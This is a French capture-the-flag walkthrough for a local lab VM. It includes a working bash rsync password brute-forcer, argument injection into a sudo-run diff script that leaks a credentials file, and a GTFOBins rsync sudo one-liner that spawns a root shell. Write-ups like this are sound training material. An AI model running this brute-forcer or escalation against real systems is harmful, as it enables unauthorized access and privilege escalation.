Your Data’s Gonna Be, My Love!
Ce petit CTF commence avec un serveur rsync, ce qui nous change un peu.
1
2
3
4
5
6
7
8
9
10
$ sudo nmap -T5 -p- 192.168.56.107
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.56.107
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
873/tcp open rsync
MAC Address: 08:00:27:A7:53:D9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Il y a deux partages :
1
2
3
4
$ rsync rsync://192.168.56.107/
public Public Files
epages Secret Documents
Toutefois, le second (epages
) est protégé par mot de passe.
On trouve une liste TODO sur le premier :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ rsync rsync://192.168.56.107/public/
drwxr-xr-x 4.096 2025/05/15 18:35:39 .
-rw-r--r-- 433 2025/05/15 18:35:39 todo.list
$ rsync -av rsync://192.168.56.107/public/todo.list ./
receiving incremental file list
todo.list
sent 43 bytes received 528 bytes 1.142,00 bytes/sec
total size is 433 speedup is 0,76
$ cat todo.list
To-Do List
=========
1. sabulaji: Remove private sharing settings
- Review all shared files and folders.
- Disable any private sharing links or permissions.
2. sabulaji: Change to a strong password
- Create a new password (minimum 12 characters, include uppercase, lowercase, numbers, and symbols).
- Update the password in the system settings.
- Ensure the new password is not reused from other accounts.
=========
Il est clairement question de mot de passe faible… Reste à savoir pour quel account. Même si ce n’est pas 100% clair pour moi j’ai supposé que le compte est sabulaji
.
J’ai d’abord voulu utiliser le script Nmap rsync-brute.nse
mais malgré plusieurs tentatives, je n’y suis pas parvenu.
Bizarrement ni Hydra, ni Ncrack, ni Medusa ne gèrent rsync ce qui est un peu fort pour un vieux proto Unix.
Sur Github, j’ai trouvé deux projets intéressants :
GitHub - nonsleepr/rsyncbrute: An Rsync password brute-forcer in Go
GitHub - ZyperX/rsync_bruteforcer: Rsync service bruteforcer
Celui en Go est sans doute rapide, mais on ne sait pas trop quelles versions de rsync il gère.
Celui en Python est sans doute plus fiable, mais j’ai remarqué différents problèmes :
- trop d’output qui ralenti le programme
- lecture du fichier dictionnaire en une seule fois au lieu de ligne par ligne
J’ai donc adapté :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash
if [ $# -lt 5 ]; then
echo -e "\e[34mSyntax : ./rsync_brute.sh <username> <ip> <port> <wordlist> <module_directory>\e[0m"
exit 1
fi
username=$1
ip=$2
port=$3
wordlist=$4
module=$5
count=0
while IFS= read -r password; do
count=$((count + 1))
export RSYNC_PASSWORD="$password"
if rsync --contimeout=3 --port="$port" "rsync://$username@$ip/$module" > /dev/null 2>&1; then
echo -e "\n[+] Password found: $password"
exit 0
fi
if (( count % 5000 == 0 )); then
echo "[*] $count passwords tried..."
fi
done < "$wordlist"
echo "[!] Password not found after $count attempts."
Au boût d’un temps non négligeable, j’avais un mot de passe :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ./brute.sh sabulaji 192.168.56.107 873 wordlists/rockyou.txt epages
[*] 5000 passwords tried...
[*] 10000 passwords tried...
[*] 15000 passwords tried...
[*] 20000 passwords tried...
[*] 25000 passwords tried...
[*] 30000 passwords tried...
[*] 35000 passwords tried...
[*] 40000 passwords tried...
[*] 45000 passwords tried...
[*] 50000 passwords tried...
[*] 55000 passwords tried...
[*] 60000 passwords tried...
[*] 65000 passwords tried...
[*] 70000 passwords tried...
[*] 75000 passwords tried...
[*] 80000 passwords tried...
[*] 85000 passwords tried...
[*] 90000 passwords tried...
[+] Password found: admin123
C’était tout de même la grosse déception, car le partage epages
étant en lecture seule et d’après la page d’index servit sur le port 80 on pouvait espérer que les deux étaient liées (et uploader un shell web).
You suck at keeping secrets
On lieu de ça, on a un fichier Word :
1
secrets.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1200, Locale ID: 2052, Author: vort, Template: Normal, Last Saved By: wp, Create Time/Date: Thu May 15 17:15:28 2025, Last Saved Time/Date: Thu May 15 17:15:34 2025, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Name of Creating Application: WPS Office H_0.0.0.0_{F1E327B, Security: 0
Il y a beau avoir du texte dans le document, j’ai quand même regardé les tags Exif au cas où :
1
2
exiftool secrets.doc | grep Author
Author : vortex
Le texte quant à lui parle d’un compte welcome
:
The admin, in a moment of questionable judgment, named the default account “welcome.” I overheard a colleague chuckle about it, saying the password was something absurdly simple, like “P@ssw0rd123!”—hardly a secret worth keeping, but it’s been untouched for years.
Effectivement ça fonctionne :
1
2
3
4
5
6
7
8
9
10
11
12
13
welcome@Sabulaji:~$ id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome),123(mlocate)
welcome@Sabulaji:~$ ls -al
total 24
drwxr-xr-x 2 welcome welcome 4096 May 16 01:21 .
drwxr-xr-x 4 root root 4096 May 15 12:39 ..
lrwxrwxrwx 1 root root 9 May 15 12:47 .bash_history -> /dev/null
-rw-r--r-- 1 welcome welcome 220 Apr 11 22:27 .bash_logout
-rw-r--r-- 1 welcome welcome 3526 Apr 11 22:27 .bashrc
-rw-r--r-- 1 welcome welcome 807 Apr 11 22:27 .profile
-rw-r--r-- 1 root root 44 May 15 12:49 user.txt
welcome@Sabulaji:~$ cat user.txt
flag{user-cf7883184194add6adfa5f20b5061ac7}
Guessing 101
On a la possibilité de lancer un script bash avec les droits d’un autre utilisateur :
1
2
3
4
5
6
7
8
9
10
welcome@Sabulaji:~$ sudo -l
Matching Defaults entries for welcome on Sabulaji:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User welcome may run the following commands on Sabulaji:
(sabulaji) NOPASSWD: /opt/sync.sh
welcome@Sabulaji:~$ ls -al /opt/sync.sh
-rwxr-xr-x 1 root root 385 May 16 01:39 /opt/sync.sh
welcome@Sabulaji:~$ ls -ald /opt/
drwxr-xr-x 2 root root 4096 May 16 01:39 /opt/
Le voici :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
if [ -z $1 ]; then
echo "error: note missing"
exit
fi
note=$1
if [[ "$note" == *"sabulaji"* ]]; then
echo "error: forbidden"
exit
fi
difference=$(diff /home/sabulaji/personal/notes.txt $note)
if [ -z "$difference" ]; then
echo "no update"
exit
fi
echo "Difference: $difference"
cp $note /home/sabulaji/personal/notes.txt
echo "[+] Updated."
Ici pas d’injection de commandes possibles. Au mieux, on peut dumper le contenu de notes.txt
… Pas la fête.
1
2
3
4
$ welcome@Sabulaji:~$ sudo -u sabulaji /opt/sync.sh empty
Difference: 1d0
< Maybe you can find it...
[+] Updated.
On peut toutefois injecter des options pour rsync :
1
2
3
4
5
6
7
8
9
10
11
welcome@Sabulaji:/home/sabulaji$ sudo -u sabulaji /opt/sync.sh --help
Difference: Usage: diff [OPTION]... FILES
Compare FILES line by line.
Mandatory arguments to long options are mandatory for short options too.
--normal output a normal diff (the default)
-q, --brief report only when files differ
-s, --report-identical-files report when two files are the same
-c, -C NUM, --context[=NUM] output NUM (default 3) lines of copied context
-u, -U NUM, --unified[=NUM] output NUM (default 3) lines of unified context
--- snip ---
Mais ce qu’il faudrait, c’est pouvoir lister le contenu du dossier personal
de l’utilisateur qui contient sans doute quelque chose d’intéressant :
1
2
3
4
5
6
7
8
9
sabulaji@Sabulaji:~$ ls -al
total 24
drwxr-xr-x 3 sabulaji sabulaji 4096 May 16 01:22 .
drwxr-xr-x 4 root root 4096 May 15 12:39 ..
lrwxrwxrwx 1 root root 9 May 15 12:47 .bash_history -> /dev/null
-rw-r--r-- 1 sabulaji sabulaji 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 sabulaji sabulaji 3526 Apr 18 2019 .bashrc
drwx------ 2 sabulaji sabulaji 4096 May 16 01:33 personal
-rw-r--r-- 1 sabulaji sabulaji 807 Apr 18 2019 .profile
J’ai beau avoir cherché comment provoquer un diff récursif, étant donné que le premier argument dans la commande est un fichier texte, c’était raté.
Notre seule chance, c’est visiblement de deviner un nom de fichier à dumper. J’ai tenté les trucs classiques comme id_rsa
mais sans succès.
L’IA Gemini m’a donné quelques pistes et bingo, l’une d’elle était la bonne :
Commencez par les noms de fichiers les plus courants pour les flags CTF :
flag.txt
secret.txt
password.txt
.bash_history
(peut contenir des commandes révélatrices)id_rsa
(clé SSH privée)config.txt
creds.txt
Tentez chaque nom de fichier avec la technique du lien symbolique jusqu’à ce que vous trouviez le bon.
Mate un peu ça :
1
2
3
4
welcome@Sabulaji:/home/sabulaji$ sudo -u sabulaji /opt/sync.sh personal/creds.txt
Difference: 0a1
> Sensitive Credentials:Z2FzcGFyaW4=
[+] Updated.
Le base64 se décode en gasparin
mais en réalité le base64 est le mot de passe.
1
2
3
4
5
6
sabulaji@Sabulaji:~$ sudo -l
Matching Defaults entries for sabulaji on Sabulaji:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sabulaji may run the following commands on Sabulaji:
(ALL) NOPASSWD: /usr/bin/rsync
Pour terminer le CTF on aura recours à un GTFObin.
1
2
3
4
5
6
7
8
sabulaji@Sabulaji:~$ sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
flag{root-89e62d8807f7986edb259eb2237d011c}